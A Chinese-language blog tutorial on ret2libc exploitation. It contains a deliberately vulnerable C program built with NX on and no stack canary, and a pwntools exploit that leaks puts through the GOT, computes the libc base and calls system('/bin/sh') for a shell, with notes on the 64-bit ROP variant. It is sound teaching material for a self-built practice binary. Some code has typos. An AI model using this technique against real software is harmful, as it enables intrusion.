ret2libc

2 篇文章 0 订阅
2 篇文章 0 订阅

ret2libc

#include <stdio.h>

int main()
{
    vuln();
}
int vuln()
{
    char v1;
    gets(&v1); // 写入到 v1
    return 0;
}
int didida()
{
    int x, y;
    fgets(x, 5, stdin);
    fgets(y, 5, stdin);
    int max;
    if (x > y | y < x)
    {
        max = x;
    }
    else
        max = y;
    puts("yyy");
    return max;
}

编译:gcc -z noexecstack -fno-stack-protector -m32 pwn22.c -o pwn22

开启nx保护,本机的aslr保护也开了,意味着libc的基地址会随着每次程序的启动而改变。

exp:

from pwn import*

context.log_level ='DEBUG'

p=process("./pwn22")

elf=ELF("./pwn22")

libc=ELF("/lib/i386-linux-gnu/libc.so.6")

puts_plt=elf.plt["puts"]

puts_got=elf.got["puts"]

puts_libc=libc.symbols["puts"]

vuln_addr=0x80484af
padding=(0x9+0x4)
payload=padding*'a'+p32(puts_plt)+p32(vuln_addr)+p32(puts_got)
p.sendline(payload)

puts_addr=u32(p.recv(4))


libcbase=puts_addr-puts_libc
system=libcbase+libc.symbols['system']
binsh=libcbase+libc.search("/bin/sh").next()

payload=padding*'a'+p32(system)+p32(0x123)+p32(binsh)

p.sendline(payload)


p.interactive()

一般在做题中,可以在"puts_addr="下面增加一个print puts_addr,然后通过后三位(后三位是固定的,我们通过后三位去libc database search (nullbyte.cat)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BuzqspUa-1606648438768)(C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20201129185849759.png)]

去查找libc版本,将其下载。

因为每次程序的开启都会让libc的基址改变,所以我们第一次溢出利用puts函数打印出puts_got(puts的真实地址)。

因此第一次的payload:

payload=padding*'a'+p32(puts_plt)+p32(vuln_addr)+p32(puts_got)

执行完puts函数打印出puts函数的真实地址后程序ip会指向vuln_addr的地址。

如果是64位的程序,则要依靠ROPgadget来pop内容到相应寄存器。

ROPgadget --binary ./pwn22 --only "pop|ret" | grep "rdi"

payload=padding*'a'+p64(pop_rdi_ret)+p64(puts_got)++p64(puts_got)+p64(vuln_addr)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FmrM5wmu-1606648438770)(C:\Users\86152\AppData\Roaming\Typora\typora-user-images\image-20201129190755914.png)]

context.log_level =‘DEBUG’,能看到我们输出和接收到的内容。

接收到puts的真实地址后,去寻找libc版本。

将puts真实地址减去libc中puts的偏移地址,则可以得到libc的基址。

system和binsh字符串的地址都可以通过,libcbase(libc基址)+libc中system的偏移地址得到。

则第二次payload:

payload=padding*'a'+p32(system)+p32(0x123)+p32(binsh)

因为执行了binsh后我们就拿到了shell,所以system的返回地址我们可以随便写。(这里我写了p32(0x123))

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值